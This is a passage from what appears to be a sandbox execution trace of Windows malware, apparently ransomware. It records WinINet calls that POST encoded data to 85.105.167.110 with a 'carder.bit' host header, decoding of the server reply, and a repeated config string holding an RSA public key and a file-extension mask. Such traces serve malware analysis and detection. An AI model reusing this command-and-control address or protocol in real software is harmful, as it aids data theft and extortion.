LaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0087.836] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0087.836] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0087.836] InternetConnectW (hInternet=0xcc0004, lpszServerName="85.105.167.110", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
	[0087.837] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x3030000
	[0087.838] wsprintfW (in: param_1=0x3030000, param_2="%s" | out: param_1="aysseaf?s=oast") returned 14
	[0087.838] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="aysseaf?s=oast", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c
	[0087.838] HttpAddRequestHeadersW (hRequest=0xcc000c, lpszHeaders="Host: carder.bit", dwHeadersLength=0xffffffff, dwModifiers=0x0) returned 1
	[0087.838] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2fe0000*, dwOptionalLength=0x16bc | out: lpOptional=0x2fe0000*) returned 1
	[0090.391] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2ff0000, dwNumberOfBytesToRead=0x31ffe, lpdwNumberOfBytesRead=0x253fd5c | out: lpBuffer=0x2ff0000*, lpdwNumberOfBytesRead=0x253fd5c*=0x228) returned 1
	[0090.394] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2ff0000, dwNumberOfBytesToRead=0x31ffe, lpdwNumberOfBytesRead=0x253fd5c | out: lpBuffer=0x2ff0000*, lpdwNumberOfBytesRead=0x253fd5c*=0x0) returned 1
	[0090.394] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0090.395] InternetCloseHandle (hInternet=0xcc0008) returned 1
	[0090.395] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.395] lstrlenA (lpString="CbowG4psfzPw5XCh82+Gx2RpiE0QJaHQSdUrP1ta8n1MY+5vmerIE0e3TIc0opsA3A5Y2wjIgMQEJr27AnYOA4p5IiL37pa8FYC7rc6WynPeZRKhywAtgMjzcrbPPXqDjLuSn073Y3UyTtPjDrQzLuoIJ5LiTNVWzPkl5FnPr4oC61a6e8SrK7mQYHRCoNarY99IJG1CFuEQD8zDPOlLOQx8XZFba0LELVqZABo51cjhyushPhJRD05l+yf7xQQHfJtT5o9YRwi2oJMUGxId8BPdj0dQ8N8R7sbgJkssqmAF9WcXo/qcwG4HOtoUv5yqfcXM//cqukeBJMpWduFvsN4lU7Lq/xtXUcDLGTFrXBFEY6i1TrqfwBTxPulmPPiKuDTgmGHk+63l0qVmWnkHLMj9eRxJIAhpIygGVHVCBqOFnTPItRufy2YcqtqkGPkNfODKGu3vYvRoRfUEmbvdmjqqJvEY8Dt2l9YIbAzqgXOpUvSPHdCjbwW1b0nDBW3UYmBEikjiLPXPuaVNWjBeYlIGYFhlfLan3kn7ha0=") returned 552
	[0090.395] VirtualAlloc (lpAddress=0x0, dwSize=0x22a, flAllocationType=0x3000, flProtect=0x40) returned 0x3030000
	[0090.395] CryptStringToBinaryA (in: pszString="CbowG4psfzPw5XCh82+Gx2RpiE0QJaHQSdUrP1ta8n1MY+5vmerIE0e3TIc0opsA3A5Y2wjIgMQEJr27AnYOA4p5IiL37pa8FYC7rc6WynPeZRKhywAtgMjzcrbPPXqDjLuSn073Y3UyTtPjDrQzLuoIJ5LiTNVWzPkl5FnPr4oC61a6e8SrK7mQYHRCoNarY99IJG1CFuEQD8zDPOlLOQx8XZFba0LELVqZABo51cjhyushPhJRD05l+yf7xQQHfJtT5o9YRwi2oJMUGxId8BPdj0dQ8N8R7sbgJkssqmAF9WcXo/qcwG4HOtoUv5yqfcXM//cqukeBJMpWduFvsN4lU7Lq/xtXUcDLGTFrXBFEY6i1TrqfwBTxPulmPPiKuDTgmGHk+63l0qVmWnkHLMj9eRxJIAhpIygGVHVCBqOFnTPItRufy2YcqtqkGPkNfODKGu3vYvRoRfUEmbvdmjqqJvEY8Dt2l9YIbAzqgXOpUvSPHdCjbwW1b0nDBW3UYmBEikjiLPXPuaVNWjBeYlIGYFhlfLan3kn7ha0=", cchString=0x0, dwFlags=0x1, pbBinary=0x3030000, pcbBinary=0x253fd7c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x3030000, pcbBinary=0x253fd7c, pdwSkip=0x0, pdwFlags=0x0) returned 1
	[0090.396] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000
	[0090.396] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0090.396] GetProcAddress (hModule=0x77c40000, lpProcName="RtlComputeCrc32") returned 0x77c66b10
	[0090.396] lstrlenA (lpString="aysseaf?s=oast") returned 14
	[0090.396] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x2fb0000, Length=0xe) returned 0x7e24602
	[0090.396] wsprintfA (in: param_1=0x3040000, param_2="%Xeuropol" | out: param_1="7E24602europol") returned 14
	[0090.396] lstrlenA (lpString="7E24602europol") returned 14
	[0090.396] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.396] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.397] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
